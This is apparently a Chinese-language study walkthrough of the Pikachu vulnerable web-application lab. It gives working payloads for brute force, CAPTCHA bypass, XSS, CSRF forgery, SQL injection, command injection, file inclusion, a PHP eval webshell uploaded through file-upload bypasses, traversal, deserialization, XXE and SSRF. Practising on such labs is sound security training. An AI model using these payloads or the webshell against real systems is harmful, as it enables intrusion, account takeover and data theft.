暴力破解
基于表单的暴力破解
1.拦截包发送到intruder 设置playload
判断长度得到账号密码
登录成功
2.验证码绕过(on sever)
输入正确验证码之后 在BURP上发送给intruder配置payload
得到密码
3.基于client端的验证码绕过(on client)
输入正确验证码 用burp拦截
放包 得到响应报文 编辑 把false改成true
得到的新的响应报文再放包
现在随便输入账号密码和验证码
用BURP拦截后 在设置payload暴力破解
4.基于token
获取回复 得到token值 并且复制
选择设置password和token两个payload 选择音叉攻击方式
把上边复制token放到下边
得到密码
XSS
1.反射型xss(get)
(1)直接抓包写script脚本就能执行
(2)添加script脚本 然后放包 成功弹窗
2.反射型xss(post)
(1)先进行爆破获取账户密码
(2)得到正确密码后登录,然后直接在输入页面写入代码执行成功
3.存储型xss
直接写代码执行成功
4.DOM型xss
(1)输入一个1 查看他的源代码 鼠标右键查看元素
(2)他说让试试 ' οnclick=alert('123')> 我们就来输入看看
输入后点击click me 然后再点击下边的你是谁得到弹窗
5.DOM型xss-x
和上一题的区别在于,这里的值是从 URL 中获取到的,就像反射型的 XSS 一样
(1)输入1 查看他的源代码
(2)根据提示来试试 ' οnclick=alert('456')>
(3)再点击 得到弹窗
6.xss之盲打
(1)直接在两个页面输入脚本 然后点击提交
(2)点击右上角提示 得到一个后台登陆的路径
(3)把xss之盲打的路径给修改一下 修改成下边的那张图
(4)点击访问 然后登陆进去就得到了弹窗
7.xss之过滤
(1)过滤掉了script
利用大小写绕过
(2)也可以利用插入图片的方法进行注入
<img src=1 οnerrοr=alert('456')>
8.xss之htmlspecialchars
(1)输入 ' οnclick='alert("123")
(2)点击它得到弹窗
第二种 用反斜杠
反斜杠会跟着里边的参数一块显示出来 单引号就不会显示
9.xss之href输出
(1)写入代码
10.xss之js输出
(1)把之前的scroipt给他截断 后边写入自己的script脚本
</script><script>alert('123')</script> 点击submit就弹出来了
CSRF
1.csrf(get)
(1)根据提示登陆后 点击修改信息
(2)点击提交然后抓包
(3)把这个URL复制下来 去这个路径写一个t.html脚本
(4)src后边写上2008的IP和pikachu的端口号 后边个刚刚复制的路径,然后把手机号给改成77777
(5)把刚刚拦截的包给放掉 打开另一个窗口访问链接 http://172.16.12.33/t.html
(6)退出 然后重新登陆 手机号就被改了
2.CSRF(post)
(1)拦截获取URL
(2)去2008写一个a.html文件 里边的URL换成刚刚获取到的
sex是性别 phonenum是手机号 add是住址 email是邮箱 value后边是修改的内容
(3)放掉刚刚拦截的包 去访问 http://172.16.12.33/a.html
然后重新登陆 发现已经修改
pikachu之sql注入
以下的database()都可以替换为 user() 或者 version()
database是获得数据库名称 user是账户名称 version是版本号
1.数字型注入(post)
(1)查询一 去burp拦截修改
(2)修改为 id=1 and 1=2 union select 1,database() 然后点击放包
(3)成功得到数据库的名字
2.字符型注入(get)
(1)输入一 点击查询,产看执行的内容
(2)尝试在name=1后边添加命令 然后点击执行 得到数据库名称
3.搜索型注入
(1)输入ko查看执行的内容 发现和上边的get相似
(2)直接添加 ' and 1=2union select 1,2,database()%23
执行得到数据库名称
4.xx型注入
(1)输入1 点击查询 查看执行的内容
(2)修改链接 ') and 1=2 union select 1,database()%23
然后执行 得到数据库名称
5."insert/update"注入
(1)注册一个账户为1 密码为1的账号来登录进去
(2)在修改界面直接写入脚本 3' and updatexml(1, concat(0x7e,database()), 0)or '1
点击submit 就得到数据库名称
6.“dalete”注入
(1)输入1
(2)删除它 去拦截 这个62并不是我们输入的 应该是删除的编号
(3)在62后边添加脚本 /**/or/**/updatexml(1,concat(0x7e,database()),0)
/**/ 代表空格
(4)放包后成功执行
7.“http header”注入
(1)根据提示登录
(2)点击退出 拦截它
(3)修改User_Agent 改成 1' and updatexml(1,concat(0x7e,database()),0) or '1
(4)放包 得到数据库名称
8.盲注(base on boolian)(可以利用sqlmap来注入)
输入 kobe' and length(database())>0# 猜测数据库名字的长度
下边的用户表单就得一个一个的猜了
9.盲注(base on time)(也可以利用sqlmap来注入)
(1)构造语句 sleep5 如果正确 则刷新时间为5秒 错误则立即刷新
kobe' and if(length(database())=7,sleep(5),1)#
10.宽字节注入
(1)输入1 拦截他
(2)修改name后边的内容
添加 %df' or length(database())=7#
(3)放包 得到内容
PIkachu之RCE
这个和DVWA的命令注入一样 所以下边可以尝试DVWA里边的方法
1.exec“ping”
(1)直接ping主机试一下
(2)往后边注入命令
127.0.0.1 &&net user
2.exec“evel”
(1)直接输入 phpinfo();
phpinfo是php自带函数,显示的是php服务器环境的配置信息。可以显示出PHP 所有相关信息。是排查配置php是是否出错或漏配置模块的主要方式之一!
(2)得到信息
pikachu之file inclusion (文件包含漏洞)
61.file inclusion(local) 本地文件包含
(1)先随便选择一个内容 点击提交,查看它执行的内容 发现有一个filename=file1.php
所以我们把file1.php给换成别的试一下
(2)去2008里边这个路径下写一个1.txt文本
C:\xampp\htdocs\pikachu\vul\fileinclude\include
(3)修改filename后边的内容 改成刚刚在2008创建的1.txt 然后执行得到内容
2.file inclusion(remote) 远程文件包含 把kail作为远程主机
(1)还是先随便选择一个提交 看看和上边的有什么不同 发现多了一个include
(2)去kail /var/www/html 下写一个配置文件 取名 phpinfo.txt
(3)编辑里边的内容
(4)打开apache 查看他的运行状态
(5)把filename后边的内容修改成kail的IP后边直接跟着文件名得到内容
PIkachu之UNsafe filedownload和fileupload
1. unsafe filedownload(不安全的文件下载)
(1)用burp抓包 看他的下载连接
(2)修改成 ../down_nba.php 然后放包
(3)发现可以下载
(4)下载完通过vscode打开 确实是源文件
2. unsafe fileupload(不安全的文件上传)(或者利用dvwa里边的文件上传做法也一样)
client check
(1)在hacker7下的D盘下写一个phpinfo.php脚本
(2)发现直接上传phpinfo.php报错
(3)右键查看元素 把前端限制给删除掉
(4)然后重新上传phpinfo.php发现成功
(5)根据提示的路径去查看
第二种方法 用一句话木马
(1)上传一个图片
(2)利用burp抓包修改文件名 改成php结尾的 最后添加一句话木马
(3)放包 文件上传成功得到一个新路径 和当前的路径组合得到一个新的路径
http://172.16.12.131:83/vul/unsafeupload/uploads/1.php
(5)去蚁剑连接
MIME type
(1)上传nphpinfo.php 拦截它
(2)修改类型 改成image/jpeg
(3)放包 上传成功 根据路径提示去查看
第二种利用一句话木马
(1)上传图片 burp拦截
(2)修改文件名称改成php结尾的 最后添加一句话木马<?php @eval($_POST['Pa9865321']);?>
(3)放包上传成功 得到一个路径
然后把这两个路径组合在一起 去蚁剑连接
http://172.16.12.131:83/vul/unsafeupload/uploads/1.php
(4)连接成功
getimagesize
(1)只能上传木马图片
先把图片和shell.php脚本放在D盘下 shell是冰蟹里边的脚本
(2)去sqlmap合成木马图片
(3)在把这个木马图片上传 上传成功
(4)然后用RCE改成php结尾的
这个路径加文件名称 127.0.0.1 &&rename
(5)修改成功
水平越权和垂直越权
水平越权
(1)右上角提示有账户密码
(2)用其中一个账号登陆上去 使用burp拦截 改成另一个账号 放包就查到修改后那个账户的信息了
垂直越权
(1)根据右边提示
先用管理员账号登录 去添加用户界面 获取到url复制下来
(2)新打开一个界面 用普通用户账号登录进去
/vul/overpermission/op2/op2_admin_edit.php
(3)把url替换掉 点击执行
(4)就会发现当前用普通账号登录后也可以添加用户了
点击创建
(5)重新用admin登录上去 就会发现有刚刚用普通账户创建的账号了
目录遍历
(1)点击第一个
(2)修改url 在后边不停的加 ../ 就会访问到其他目录
敏感信息泄露
(1)直接查看页面源代码
(2)发现一个测试账号
用它登录登陆成功
php反序列化
序列化通俗点说就是把一个对象转变成可以传输的字符串
反序列化就是把字符串换成对象
(1)利用 O:1:"S":1:{s:4:"test";s:7:"pikachu";} 爆出数据库的名字
(2)或者利用payload
O:1:"S":1:{s:4:"test";s:29:"<script>alert(/xss/)</script>";}来写入代码
xxe漏洞
(1)直接提交一个payload
<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "xxe"> ]> <name>&hacker;</name>
URL重定向
(1)第四句话发现了有url=1
(2)修改这里改成别的ip http://172.16.12.131:84访问成功
SSRF
1.ssrf (curl)
(1)点击得到一个路径
(2)把url后边改成别的网站 http://172.16.12.131:84 成功访问